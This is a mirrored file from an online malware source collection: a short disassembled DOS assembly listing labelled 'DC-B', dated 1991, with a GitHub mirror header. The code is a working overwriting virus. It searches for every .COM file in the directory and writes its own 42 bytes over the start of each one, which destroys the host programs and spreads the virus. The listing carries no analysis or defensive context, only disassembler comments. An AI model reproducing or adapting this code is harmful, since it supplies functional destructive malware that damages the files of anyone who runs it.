mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
56 lines
1.3 KiB
NASM
56 lines
1.3 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ DC-B ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 26-Dec-91 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_009E_e equ 9Eh
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
|
|
start:
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,offset data_0124
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
loc_0107:
|
|
mov ax,3D01h
|
|
mov dx,data_009E_e
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
xchg ax,bx
|
|
mov ah,40h ; '@'
|
|
mov cl,2Ah ; '*'
|
|
mov dx,100h
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_0107 ; Jump if carry=0
|
|
retn
|
|
data_0124 db 2Ah
|
|
db 2Eh, 43h, 4Fh, 4Dh, 00h
|
|
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|